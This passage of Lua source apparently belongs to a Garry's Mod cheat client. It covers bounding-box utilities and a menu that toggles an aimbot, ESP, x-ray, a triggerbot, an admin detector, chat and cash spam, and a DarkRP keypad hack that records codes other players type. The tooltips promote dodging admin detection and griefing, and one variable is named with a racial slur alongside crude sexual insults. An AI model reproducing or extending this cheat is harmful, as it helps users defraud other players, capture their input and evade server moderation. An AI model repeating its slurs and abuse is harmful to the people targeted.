  888. local notAuto = {"weapon_pistol", "weapon_rpg", "weapon_357", "weapon_crossbow"}
  889. function AA:IsSemiAuto(weap)
  890.    if !ValidEntity(weap) then return end
  891.    return (weap.Primary && !weap.Primary.Automatic) || table.HasValue(notAuto, EntM["GetClass"](weap))
  892. end
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909.  
  910.  
  911.  
  912.  
  913. /*----------------------------------------------------------
  914. Utilities
  915. ----------------------------------------------------------*/
  916. function CreatePos(v)
  917. local ply = LocalPlayer()
  918. local center = v:LocalToWorld( v:OBBCenter() )
  919. local min, max = v:OBBMins(), v:OBBMaxs()
  920. local dim = max - min   local z = max + min    
  921. local frt       = ( v:GetForward() ) * ( dim.y / 2 )
  922. local rgt       = ( v:GetRight() ) * ( dim.x / 2 )
  923. local top       = ( v:GetUp() ) * ( dim.z / 2 )
  924. local bak       = ( v:GetForward() * -1 ) * ( dim.y / 2 )
  925. local lft       = ( v:GetRight() * -1 ) * ( dim.x / 2 )
  926. local btm       = ( v:GetUp() * -1 ) * ( dim.z / 2 )
  927. local s = 1
  928. local FRT       = center + frt / s + rgt / s + top / s; FRT = FRT:ToScreen()
  929. local BLB       = center + bak / s + lft / s + btm / s; BLB = BLB:ToScreen()
  930. local FLT       = center + frt / s + lft / s + top / s; FLT = FLT:ToScreen()
  931. local BRT       = center + bak / s + rgt / s + top / s; BRT = BRT:ToScreen()
  932. local BLT       = center + bak / s + lft / s + top / s; BLT = BLT:ToScreen()
  933. local FRB       = center + frt / s + rgt / s + btm / s; FRB = FRB:ToScreen()
  934. local FLB       = center + frt / s + lft / s + btm / s; FLB = FLB:ToScreen()
  935. local BRB       = center + bak / s + rgt / s + btm / s; BRB = BRB:ToScreen()  
  936. local z = 100
  937. if ( v:Health() <= 50 ) then z = 100 end
  938. local x, y = ( ( v:Health() / 100 ) ), 1
  939. if ( v:Health() <= 0 ) then x = 1 end
  940. local FRT3      = center + frt + rgt + top / x; FRT3 = FRT3; FRT3 = FRT3:ToScreen()
  941. local BLB3      = center + bak + lft + btm / x; BLB3 = BLB3; BLB3 = BLB3:ToScreen()
  942. local FLT3      = center + frt + lft + top / x; FLT3 = FLT3; FLT3 = FLT3:ToScreen()
  943. local BRT3      = center + bak + rgt + top / x; BRT3 = BRT3; BRT3 = BRT3:ToScreen()
  944. local BLT3      = center + bak + lft + top / x; BLT3 = BLT3; BLT3 = BLT3:ToScreen()
  945. local FRB3      = center + frt + rgt + btm / x; FRB3 = FRB3; FRB3 = FRB3:ToScreen()
  946. local FLB3      = center + frt + lft + btm / x; FLB3 = FLB3; FLB3 = FLB3:ToScreen()
  947. local BRB3      = center + bak + rgt + btm / x; BRB3 = BRB3; BRB3 = BRB3:ToScreen()    
  948. local x, y, z = 1.1, 0.9, 1
  949. local FRT2      = center + frt / y + rgt / z + top / x; FRT2 = FRT2:ToScreen()
  950. local BLB2      = center + bak / y + lft / z + btm / x; BLB2 = BLB2:ToScreen()
  951. local FLT2      = center + frt / y + lft / z + top / x; FLT2 = FLT2:ToScreen()
  952. local BRT2      = center + bak / y + rgt / z + top / x; BRT2 = BRT2:ToScreen()
  953. local BLT2      = center + bak / y + lft / z + top / x; BLT2 = BLT2:ToScreen()
  954. local FRB2      = center + frt / y + rgt / z + btm / x; FRB2 = FRB2:ToScreen()
  955. local FLB2      = center + frt / y + lft / z + btm / x; FLB2 = FLB2:ToScreen()
  956. local BRB2      = center + bak / y + rgt / z + btm / x; BRB2 = BRB2:ToScreen()
  957. local maxX = math.max( FRT.x,BLB.x,FLT.x,BRT.x,BLT.x,FRB.x,FLB.x,BRB.x )
  958. local minX = math.min( FRT.x,BLB.x,FLT.x,BRT.x,BLT.x,FRB.x,FLB.x,BRB.x )
  959. local maxY = math.max( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  960. local minY = math.min( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  961. local minYhp2 = math.min( FRT.y,BLB.y,FLT.y,BRT.y,BLT.y,FRB.y,FLB.y,BRB.y )
  962. local maxXhp = math.max( FRT3.x,BLB3.x,FLT3.x,BRT3.x,BLT3.x,FRB3.x,FLB3.x,BRB3.x )
  963. local minXhp = math.min( FRT3.x,BLB3.x,FLT3.x,BRT3.x,BLT3.x,FRB3.x,FLB3.x,BRB3.x )
  964. local maxYhp = math.max( FRT3.y,BLB3.y,FLT3.y,BRT3.y,BLT3.y,FRB3.y,FLB3.y,BRB3.y )
  965. local minYhp = math.min( FRT3.y,BLB3.y,FLT3.y,BRT3.y,BLT3.y,FRB3.y,FLB3.y,BRB3.y )    
  966. local maxX2 = math.max( FRT2.x,BLB2.x,FLT2.x,BRT2.x,BLT2.x,FRB2.x,FLB2.x,BRB2.x )
  967. local minX2 = math.min( FRT2.x,BLB2.x,FLT2.x,BRT2.x,BLT2.x,FRB2.x,FLB2.x,BRB2.x )
  968. local maxY2 = math.max( FRT2.y,BLB2.y,FLT2.y,BRT2.y,BLT2.y,FRB2.y,FLB2.y,BRB2.y )
  969. local minY2 = math.min( FRT2.y,BLB2.y,FLT2.y,BRT2.y,BLT2.y,FRB2.y,FLB2.y,BRB2.y )
  970. return maxX, minX, maxY, minY, maxX2, minX2, maxY2, minY2, minYhp, maxYhp
  971. end
  972.  
  973. function IsCloseEnough(ent)
  974.        local dist = ent:GetPos():Distance( LocalPlayer():GetPos() )
  975.        if( dist <= 50000 and ent:GetPos() != Vector( 0, 0, 0 ) ) then
  976.                return true
  977.        end
  978.        return false  
  979. end
  980.  
  981.  
  982. /*------------------------------------------
  983. Menu
  984. ------------------------------------------*/
  985.  
  986. concommand.Add( "jav_menu", function( )
  987.  
  988. local ColScheme = Color(GetConVarNumber("jav_colour_r"), GetConVarNumber("jav_colour_g"), GetConVarNumber("jav_colour_b"), 255)
  989.  
  990. Menu = vgui.Create("DFrame")
  991. Menu:SetSize(800,560)
  992. Menu:SetTitle(jav_version.." :::::: Created by LegendofRobbo")
  993. Menu:Center()
  994. Menu:MakePopup()
  995. Menu.Paint = function()
  996. surface.SetDrawColor( 0, 0, 0, 200 )
  997. surface.DrawRect( 0, 0, Menu:GetWide(), Menu:GetTall() )
  998. surface.SetDrawColor( 255,150,0,255 )
  999. surface.DrawRect( 10, 50, 150, 2 )
  1000. surface.SetDrawColor( 255,0,0,255 )
  1001. surface.DrawRect( 10, 260, 150, 2 )
  1002. surface.SetDrawColor( 0,255,150,255 )
  1003. surface.DrawRect( 440, 50, 150, 2 )
  1004. surface.SetDrawColor( 0,150,255,255 )
  1005. surface.DrawRect( 440, 200, 150, 2 )
  1006. surface.SetDrawColor( 150,255,0,255 )
  1007. surface.DrawRect( 440, 400, 150, 2 )
  1008. surface.SetDrawColor( GColScheme )
  1009. surface.DrawOutlinedRect( 0, 0, Menu:GetWide(), Menu:GetTall() )
  1010.  
  1011. end
  1012.  
  1013. local ESPenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1014. ESPenable:SetPos( 10, 30 )
  1015. ESPenable:SetParent(Menu)
  1016. ESPenable:SetValue( 0 )
  1017. ESPenable:SetText( "ESP Enabled" )
  1018. ESPenable:SetConVar( "jav_esp_enabled" )
  1019. ESPenable:SetToolTip( "see players positions and other relevant info" )
  1020. ESPenable:SizeToContents()
  1021.  
  1022. local Xraydistlabel = vgui.Create( "DLabel", Panel )
  1023. Xraydistlabel:SetParent(Menu)
  1024. Xraydistlabel:SetPos( 115, 180 )
  1025. Xraydistlabel:SetText( "Range (Metres):" )
  1026. Xraydistlabel:SizeToContents()
  1027.  
  1028. local ESPdistlabel = vgui.Create( "DLabel", Panel )
  1029. ESPdistlabel:SetParent(Menu)
  1030. ESPdistlabel:SetPos( 115, 30 )
  1031. ESPdistlabel:SetText( "Range (Metres):" )
  1032. ESPdistlabel:SizeToContents()
  1033.  
  1034. local ABangle = vgui.Create( "DLabel", Panel )
  1035. ABangle:SetParent(Menu)
  1036. ABangle:SetPos( 135, 270 )
  1037. ABangle:SetText( "Max Snap Angle:" )
  1038. ABangle:SizeToContents()
  1039.  
  1040. local ABgrace = vgui.Create( "DLabel", Panel )
  1041. ABgrace:SetParent(Menu)
  1042. ABgrace:SetPos( 165, 350 )
  1043. ABgrace:SetText( "Grace Time:" )
  1044. ABgrace:SizeToContents()
  1045.  
  1046. local ABauto = vgui.Create( "DLabel", Panel )
  1047. ABauto:SetParent(Menu)
  1048. ABauto:SetPos( 10, 390 )
  1049. ABauto:SetText( "Auto Shoot Max Distance:" )
  1050. ABauto:SizeToContents()
  1051.  
  1052. local ABanglebox = vgui.Create( "DNumberWang" )// Create the checkbox
  1053. ABanglebox:SetPos( 220, 266 )
  1054. ABanglebox:SetParent(Menu)
  1055. ABanglebox:SetMin(0)
  1056. ABanglebox:SetMax(90)
  1057. ABanglebox:SetConVar( "jav_aa_angle" )
  1058. ABanglebox:SetToolTip( "how far the aimbot can snap from the cursor in degrees, smaller values make it harder for spectating admins to detect your hax" )
  1059.  
  1060. local ABgracebox = vgui.Create( "DNumberWang" )// Create the checkbox
  1061. ABgracebox:SetPos( 225, 346 )
  1062. ABgracebox:SetParent(Menu)
  1063. ABgracebox:SetMin(0)
  1064. ABgracebox:SetMax(20)
  1065. ABgracebox:SetConVar( "jav_aa_snaponaimgrace" )
  1066. ABgracebox:SetToolTip( "how long you will remain snapped after aiming/right clicking (in seconds)" )
  1067.  
  1068. local ABautobox = vgui.Create( "DNumberWang" )// Create the checkbox
  1069. ABautobox:SetPos( 140, 386 )
  1070. ABautobox:SetParent(Menu)
  1071. ABautobox:SetMin(0)
  1072. ABautobox:SetMax(10000)
  1073. ABautobox:SetConVar( "jav_aa_autoshoot" )
  1074. ABautobox:SetToolTip( "the maximum distance in metres that the hack will automatically shoot for you at (set to 0 to disable autoshoot)" )
  1075.  
  1076. local EntFbutton = vgui.Create( "DButton" )
  1077. EntFbutton:SetParent( Menu )  
  1078. EntFbutton:SetPos( 10, 180 )
  1079. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1080. EntFbutton:SetSize( 90, 15 )
  1081. EntFbutton:SetToolTip( "Turn the x-ray on, it helps a lot when propkilling" )
  1082. EntFbutton.Paint = function()
  1083. surface.SetDrawColor( 90, 60, 0, 200 )
  1084. EntFbutton:SetText( "Toggle X-ray" )
  1085. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1086. surface.SetDrawColor( 0, 0, 0, 255 )
  1087. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1088. end
  1089. EntFbutton.DoClick = function()
  1090. RunConsoleCommand("jav_xray_toggle")
  1091. end
  1092.  
  1093. local Xraymaxdist = vgui.Create( "DNumberWang" )// Create the checkbox
  1094. Xraymaxdist:SetPos( 200, 176 )
  1095. Xraymaxdist:SetParent(Menu)
  1096. Xraymaxdist:SetMin(0)
  1097. Xraymaxdist:SetMax(10000)
  1098. Xraymaxdist:SetConVar( "jav_xray_distance" )
  1099. Xraymaxdist:SetToolTip( "sets the range of your xray vision in metres" )
  1100.  
  1101. local ESPmaxdist = vgui.Create( "DNumberWang" )// Create the checkbox
  1102. ESPmaxdist:SetPos( 200, 26 )
  1103. ESPmaxdist:SetParent(Menu)
  1104. ESPmaxdist:SetMin(0)
  1105. ESPmaxdist:SetMax(10000)
  1106. ESPmaxdist:SetConVar( "jav_esp_distance" )
  1107. ESPmaxdist:SetToolTip( "sets the range of the esp in metres, crank this down if you are getting fps lag from the hack" )
  1108.  
  1109. local ESPposition = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1110. ESPposition:SetPos( 10, 60 )
  1111. ESPposition:SetParent(Menu)
  1112. ESPposition:SetValue( 0 )
  1113. ESPposition:SetText( "Show Position" )
  1114. ESPposition:SetConVar( "jav_esp_position" )
  1115. ESPposition:SetToolTip( "isn't this y'know, the whole point of using an esp?" )
  1116. ESPposition:SizeToContents()
  1117.  
  1118. local ESPname = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1119. ESPname:SetPos( 10, 80 )
  1120. ESPname:SetParent(Menu)
  1121. ESPname:SetValue( 0 )
  1122. ESPname:SetText( "Show Name" )
  1123. ESPname:SetConVar( "jav_esp_names" )
  1124. ESPname:SetToolTip( "shows player names, the name will also be coloured to match their team colour" )
  1125. ESPname:SizeToContents()
  1126.  
  1127. local ESPdist = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1128. ESPdist:SetPos( 10, 100 )
  1129. ESPdist:SetParent(Menu)
  1130. ESPdist:SetValue( 0 )
  1131. ESPdist:SetText( "Show Distance" )
  1132. ESPdist:SetToolTip( "shows distance to players in metres" )
  1133. ESPdist:SetConVar( "jav_esp_showtargetdistance" )
  1134. ESPdist:SizeToContents()
  1135.  
  1136. local ESPvel = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1137. ESPvel:SetPos( 10, 120 )
  1138. ESPvel:SetParent(Menu)
  1139. ESPvel:SetValue( 0 )
  1140. ESPvel:SetText( "Show Velocity" )
  1141. ESPvel:SetConVar( "jav_esp_velocity" )
  1142. ESPvel:SetToolTip( "shows the targets velocity (WIP!)" )
  1143. ESPvel:SizeToContents()
  1144.  
  1145. local ESPadmin = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1146. ESPadmin:SetPos( 10, 140 )
  1147. ESPadmin:SetParent(Menu)
  1148. ESPadmin:SetValue( 0 )
  1149. ESPadmin:SetText( "Show Custom Ranks" )
  1150. ESPadmin:SetConVar( "jav_esp_admin" )
  1151. ESPadmin:SetToolTip( "detect any admins or custom ranks that are on the server" )
  1152. ESPadmin:SizeToContents()
  1153.  
  1154. local ESPbox = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1155. ESPbox:SetPos( 10, 160 )
  1156. ESPbox:SetParent(Menu)
  1157. ESPbox:SetValue( 0 )
  1158. ESPbox:SetText( "Show Bounding Box" )
  1159. ESPbox:SetConVar( "jav_esp_box" )
  1160. ESPbox:SetToolTip( "shows a box around the player so you can accurately guage their position" )
  1161. ESPbox:SizeToContents()
  1162.  
  1163. local Scannerenabled = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1164. Scannerenabled:SetPos( 10, 200 )
  1165. Scannerenabled:SetParent(Menu)
  1166. Scannerenabled:SetValue( 0 )
  1167. Scannerenabled:SetText( "Enable Entity Scanner" )
  1168. Scannerenabled:SetConVar( "jav_scanner_enabled" )
  1169. Scannerenabled:SetToolTip( "gives advanced info on the entity you are looking at" )
  1170. Scannerenabled:SizeToContents()
  1171.  
  1172. local Budgetenabled = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1173. Budgetenabled:SetPos( 10, 220 )
  1174. Budgetenabled:SetParent(Menu)
  1175. Budgetenabled:SetValue( 0 )
  1176. Budgetenabled:SetText( "Budget Mode" )
  1177. Budgetenabled:SetConVar( "jav_esp_budget" )
  1178. Budgetenabled:SetToolTip( "turn this on if you have a shit pc and the esp makes you lag" )
  1179. Budgetenabled:SizeToContents()
  1180.  
  1181. local Misclabel = vgui.Create( "DLabel", Panel )
  1182. Misclabel:SetParent(Menu)
  1183. Misclabel:SetPos( 465, 30 )
  1184. Misclabel:SetText( "Miscellaneous Tools" )
  1185. Misclabel:SizeToContents()
  1186.  
  1187. local Bhopenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1188. Bhopenable:SetPos( 425, 60 )
  1189. Bhopenable:SetParent(Menu)
  1190. Bhopenable:SetValue( 0 )
  1191. Bhopenable:SetText( "Enable Bhop" )
  1192. Bhopenable:SetConVar( "jav_bhop_enabled" )
  1193. Bhopenable:SetToolTip( "hold space to bounce around like yo mummas ass when shes riding a huge black cock" )
  1194. Bhopenable:SizeToContents()
  1195.  
  1196. local niggers = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1197. niggers:SetPos( 425, 430 )
  1198. niggers:SetParent(Menu)
  1199. niggers:SetValue( 0 )
  1200. niggers:SetText( "Auto Click" )
  1201. niggers:SetConVar( "jav_autoclick_enabled" )
  1202. niggers:SetToolTip( "turn this on for rope spamming and lulz" )
  1203. niggers:SizeToContents()
  1204.  
  1205. local Mirrorenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1206. Mirrorenable:SetPos( 425, 80 )
  1207. Mirrorenable:SetParent(Menu)
  1208. Mirrorenable:SetValue( 0 )
  1209. Mirrorenable:SetText( "Enable Mirror" )
  1210. Mirrorenable:SetConVar( "jav_mirror_enabled" )
  1211. Mirrorenable:SetToolTip( "enables the rear vision mirror so people cant sneak up on you and fuck you in the ass" )
  1212. Mirrorenable:SizeToContents()
  1213.  
  1214. local Crossenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1215. Crossenable:SetPos( 425, 100 )
  1216. Crossenable:SetParent(Menu)
  1217. Crossenable:SetValue( 0 )
  1218. Crossenable:SetText( "Enable Crosshair" )
  1219. Crossenable:SetConVar( "jav_crosshair_enabled" )
  1220. Crossenable:SetToolTip( "draws a nice circular crosshair" )
  1221. Crossenable:SizeToContents()
  1222.  
  1223. local Flashlightenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1224. Flashlightenable:SetPos( 425, 120 )
  1225. Flashlightenable:SetParent(Menu)
  1226. Flashlightenable:SetValue( 0 )
  1227. Flashlightenable:SetText( "Enable Flashlight Spam" )
  1228. Flashlightenable:SetConVar( "jav_flashlight_enabled" )
  1229. Flashlightenable:SetToolTip( "rave party!" )
  1230. Flashlightenable:SizeToContents()
  1231.  
  1232. local Nightvisenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1233. Nightvisenable:SetPos( 425, 140 )
  1234. Nightvisenable:SetParent(Menu)
  1235. Nightvisenable:SetValue( 0 )
  1236. Nightvisenable:SetText( "Enable Night Vision" )
  1237. Nightvisenable:SetConVar( "mat_fullbright" )
  1238. Nightvisenable:SetToolTip( "requires sv_cheats bypasser" )
  1239. Nightvisenable:SizeToContents()
  1240.  
  1241. local Witnessenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1242. Witnessenable:SetPos( 425, 160 )
  1243. Witnessenable:SetParent(Menu)
  1244. Witnessenable:SetValue( 0 )
  1245. Witnessenable:SetText( "Enable Witness Detection" )
  1246. Witnessenable:SetConVar( "jav_witness_enabled" )
  1247. Witnessenable:SetToolTip( "allows you to see if anybody else can see you, useful for stealthy trolling" )
  1248. Witnessenable:SizeToContents()
  1249.  
  1250. local Tbotenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1251. Tbotenable:SetPos( 425, 410 )
  1252. Tbotenable:SetParent(Menu)
  1253. Tbotenable:SetValue( 0 )
  1254. Tbotenable:SetText( "Enable Triggerbot" )
  1255. Tbotenable:SetConVar( "jav_triggerbot_enabled" )
  1256. Tbotenable:SetToolTip( "activate the triggerbot (fires your gun automatically when you look at somebody)" )
  1257. Tbotenable:SizeToContents()
  1258.  
  1259. local glabel = vgui.Create( "DLabel", Panel )
  1260. glabel:SetParent(Menu)
  1261. glabel:SetPos( 460, 180 )
  1262. glabel:SetText( "More Misc Tools" )
  1263. glabel:SizeToContents()
  1264.  
  1265. local Murderenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1266. Murderenable:SetPos( 425, 210 )
  1267. Murderenable:SetParent(Menu)
  1268. Murderenable:SetValue( 0 )
  1269. Murderenable:SetText( "Enable Murder Hack (broken)" )
  1270. Murderenable:SetConVar( "jav_murderhax" )
  1271. Murderenable:SetToolTip( "a special esp for the gamemode 'murder', tells you where all the murderers, gun holders and loot items are at" )
  1272. Murderenable:SizeToContents()
  1273.  
  1274. local TTTenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1275. TTTenable:SetPos( 425, 230 )
  1276. TTTenable:SetParent(Menu)
  1277. TTTenable:SetValue( 0 )
  1278. TTTenable:SetText( "Enable TTT Hack" )
  1279. TTTenable:SetConVar( "jav_ttthax" )
  1280. TTTenable:SetToolTip( "no traitor scum will be able to hide their presence from you with this hack turned on" )
  1281. TTTenable:SizeToContents()
  1282.  
  1283. local keypadbutton = vgui.Create( "DCheckBoxLabel" )
  1284. keypadbutton:SetPos( 425, 250 )
  1285. keypadbutton:SetParent(Menu)
  1286. keypadbutton:SetValue( 0 )
  1287. keypadbutton:SetText( "Enable DarkRP Keypad Hack" )
  1288. keypadbutton:SetConVar( "jav_keypadhax" )
  1289. keypadbutton:SetToolTip( "Waltz right into peoples bases using this useful little hack, works by saving down the correct key code as soon as anybody on the server types it into that keypad" )
  1290. keypadbutton:SizeToContents()
  1291.  
  1292. local glabel = vgui.Create( "DLabel", Panel )
  1293. glabel:SetParent(Menu)
  1294. glabel:SetPos( 470, 380 )
  1295. glabel:SetText( "Legacy/Experimental" )
  1296. glabel:SizeToContents()
  1297.  
  1298. local ABlabel = vgui.Create( "DLabel", Panel )
  1299. ABlabel:SetParent(Menu)
  1300. ABlabel:SetPos( 50, 240 )
  1301. ABlabel:SetText( "Aimbot Options" )
  1302. ABlabel:SizeToContents()
  1303.  
  1304. local ABenable = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1305. ABenable:SetPos( 10, 270 )
  1306. ABenable:SetParent(Menu)
  1307. ABenable:SetValue( 0 )
  1308. ABenable:SetText( "Aimbot Enabled" )
  1309. ABenable:SetConVar( "jav_autoaim_enabled" )
  1310. ABenable:SetToolTip( "why aim when you can let this handy little script do all the work for you" )
  1311. ABenable:SizeToContents()
  1312.  
  1313. local ABfriends = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1314. ABfriends:SetPos( 10, 290 )
  1315. ABfriends:SetParent(Menu)
  1316. ABfriends:SetValue( 0 )
  1317. ABfriends:SetText( "Target Steam Friends" )
  1318. ABfriends:SetConVar( "jav_aa_targetfriends" )
  1319. ABfriends:SetToolTip( "turn this off to protect your buddies from your script fuelled wrath" )
  1320. ABfriends:SizeToContents()
  1321.  
  1322. local ABteam = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1323. ABteam:SetPos( 10, 310 )
  1324. ABteam:SetParent(Menu)
  1325. ABteam:SetValue( 0 )
  1326. ABteam:SetText( "Target Teammates" )
  1327. ABteam:SetConVar( "jav_aa_targetteam" )
  1328. ABteam:SetToolTip( "turn this off if you don't want to be a team killing bastard" )
  1329. ABteam:SizeToContents()
  1330.  
  1331. local ABheads = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1332. ABheads:SetPos( 10, 330 )
  1333. ABheads:SetParent(Menu)
  1334. ABheads:SetValue( 0 )
  1335. ABheads:SetText( "Headshot Mode" )
  1336. ABheads:SetConVar( "jav_aa_headshot" )
  1337. ABheads:SetToolTip( "turn this on to always target enemy heads, turn it off to target their centre of mass" )
  1338. ABheads:SizeToContents()
  1339.  
  1340. local ABsnaponaim = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1341. ABsnaponaim:SetPos( 10, 350 )
  1342. ABsnaponaim:SetParent(Menu)
  1343. ABsnaponaim:SetValue( 0 )
  1344. ABsnaponaim:SetText( "Only Snap When Aiming" )
  1345. ABsnaponaim:SetConVar( "jav_aa_snaponaim" )
  1346. ABsnaponaim:SetToolTip( "makes it so the aimbot only snaps when aiming (right mouse is pressed)" )
  1347. ABsnaponaim:SizeToContents()
  1348.  
  1349. local RadarBox = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1350. RadarBox:SetPos( 425, 330 )
  1351. RadarBox:SetParent(Menu)
  1352. RadarBox:SetValue( 0 )
  1353. RadarBox:SetText( "Enable Radar" )
  1354. RadarBox:SetConVar( "jav_radar_enabled" )
  1355. RadarBox:SetToolTip( "turn the radar on and off" )
  1356. RadarBox:SizeToContents()
  1357.  
  1358. local LElabel = vgui.Create( "DLabel", Panel )
  1359. LElabel:SetParent(Menu)
  1360. LElabel:SetPos( 595, 315 )
  1361. LElabel:SetText( "Radar Size:" )
  1362. LElabel:SizeToContents()
  1363.  
  1364. local LElabel = vgui.Create( "DLabel", Panel )
  1365. LElabel:SetParent(Menu)
  1366. LElabel:SetPos( 665, 315 )
  1367. LElabel:SetText( "Radar FOV:" )
  1368. LElabel:SizeToContents()
  1369.  
  1370. local RadarSize = vgui.Create( "DNumberWang" )// Create the checkbox
  1371. RadarSize:SetPos( 595, 330 )
  1372. RadarSize:SetParent(Menu)
  1373. RadarSize:SetMin(0)
  1374. RadarSize:SetMax(2000)
  1375. RadarSize:SetConVar( "jav_radar_size" )
  1376. RadarSize:SetToolTip( "Controls the onscreen size of your radar" )
  1377.  
  1378. local RadarFOV = vgui.Create( "DNumberWang" )// Create the checkbox
  1379. RadarFOV:SetPos( 665, 330 )
  1380. RadarFOV:SetParent(Menu)
  1381. RadarFOV:SetMin(0)
  1382. RadarFOV:SetMax(200)
  1383. RadarFOV:SetConVar( "jav_radar_fov" )
  1384. RadarFOV:SetToolTip( "Controls the field of vision of your radar, bigger numbers means your radar will extend further but close targets may appear too bunched up on high fov" )
  1385.  
  1386. local ABignorewalls = vgui.Create( "DCheckBoxLabel" )// Create the checkbox
  1387. ABignorewalls:SetPos( 10, 370 )
  1388. ABignorewalls:SetParent(Menu)
  1389. ABignorewalls:SetValue( 0 )
  1390. ABignorewalls:SetText( "Ignore Walls" )
  1391. ABignorewalls:SetConVar( "jav_aa_ignorewalls" )
  1392. ABignorewalls:SetToolTip( "whether or not the aimbot can target people through walls" )
  1393. ABignorewalls:SizeToContents()
  1394.  
  1395. local EntFbutton = vgui.Create( "DButton" )
  1396. EntFbutton:SetParent( Menu )  
  1397. EntFbutton:SetPos( 425, 270 )
  1398. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1399. EntFbutton:SetSize( 160, 15 )
  1400. EntFbutton:SetToolTip( "Toggle this to spam 5 dollar notes everywhere" )
  1401. EntFbutton.Paint = function()
  1402. surface.SetDrawColor( 0, 60, 0, 200 )
  1403. EntFbutton:SetText( "Vomit Cash (DarkRP)" )
  1404. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1405. surface.SetDrawColor( 0, 0, 0, 255 )
  1406. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1407. end
  1408. EntFbutton.DoClick = function()
  1409. RunConsoleCommand("jav_vomitcash")
  1410. end
  1411.  
  1412. local EntFbutton = vgui.Create( "DButton" )
  1413. EntFbutton:SetParent( Menu )  
  1414. EntFbutton:SetPos( 425, 290 )
  1415. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1416. EntFbutton:SetSize( 160, 15 )
  1417. EntFbutton:SetToolTip( "Toggle this to shit up chat" )
  1418. EntFbutton.Paint = function()
  1419. surface.SetDrawColor( 90, 60, 0, 200 )
  1420. EntFbutton:SetText( "Chat Spammer" )
  1421. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1422. surface.SetDrawColor( 0, 0, 0, 255 )
  1423. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1424. end
  1425. EntFbutton.DoClick = function()
  1426. RunConsoleCommand("jav_chatspam")
  1427. end
  1428.  
  1429. local EntFbutton = vgui.Create( "DButton" )
  1430. EntFbutton:SetParent( Menu )  
  1431. EntFbutton:SetPos( 425, 310 )
  1432. EntFbutton:SetTextColor( Color(255, 255, 255, 255) )
  1433. EntFbutton:SetSize( 160, 15 )
  1434. EntFbutton:SetToolTip( "Spin around like a spastic, will not work when the aimbot is activated" )
  1435. EntFbutton.Paint = function()
  1436. surface.SetDrawColor( 90, 90, 0, 200 )
  1437. EntFbutton:SetText( "Spinbot" )
  1438. surface.DrawRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() )
  1439. surface.SetDrawColor( 0, 0, 0, 255 )
  1440. surface.DrawOutlinedRect( 0, 0, EntFbutton:GetWide(), EntFbutton:GetTall() , 2)
  1441. end
  1442. EntFbutton.DoClick = function()
  1443. RunConsoleCommand("jav_spinbot")
  1444. end
  1445.  
  1446. local TextEntry = vgui.Create( "DTextEntry", Menu )
  1447. TextEntry:SetPos( 595, 285 )
  1448. TextEntry:SetSize( 195, 25 )
  1449. TextEntry:SetText( GetConVarString("jav_chatspam_msg") )
  1450. TextEntry.OnEnter = function( self )
  1451. LocalPlayer():ConCommand("jav_chatspam_msg "..self:GetValue())
  1452. end
  1453.  
  1454. local LElabel = vgui.Create( "DLabel", Panel )
  1455. LElabel:SetParent(Menu)
  1456. LElabel:SetPos( 595, 265 )
  1457. LElabel:SetText( "Chat Spam Message:" )
  1458. LElabel:SizeToContents()
  1459.  
  1460. local SWbutton = vgui.Create( "DButton" )
  1461. SWbutton:SetParent( Menu )  
  1462. SWbutton:SetPos( 10, 520 )
  1463. SWbutton:SetTextColor( Color(255, 255, 255, 255) )
  1464. SWbutton:SetSize( 110, 25 )
  1465. SWbutton:SetToolTip( "leave your body as an invisible ghost and fulfil all your voyeuristic fantasies" )
  1466. SWbutton.Paint = function()
  1467. surface.SetDrawColor( 60, 0, 60, 200 )
  1468. SWbutton:SetText( "Toggle Spirit Walk" )
  1469. surface.DrawRect( 0, 0, SWbutton:GetWide(), SWbutton:GetTall() )
  1470. end
  1471. SWbutton.DoClick = function() RunConsoleCommand("jav_spiritwalk") end
  1472.  
  1473. local Namebutton = vgui.Create( "DButton" )
  1474. Namebutton:SetParent( Menu )  
  1475. Namebutton:SetPos( 130, 520 )
  1476. Namebutton:SetTextColor( Color(255, 255, 255, 255) )
  1477. Namebutton:SetSize( 110, 25 )
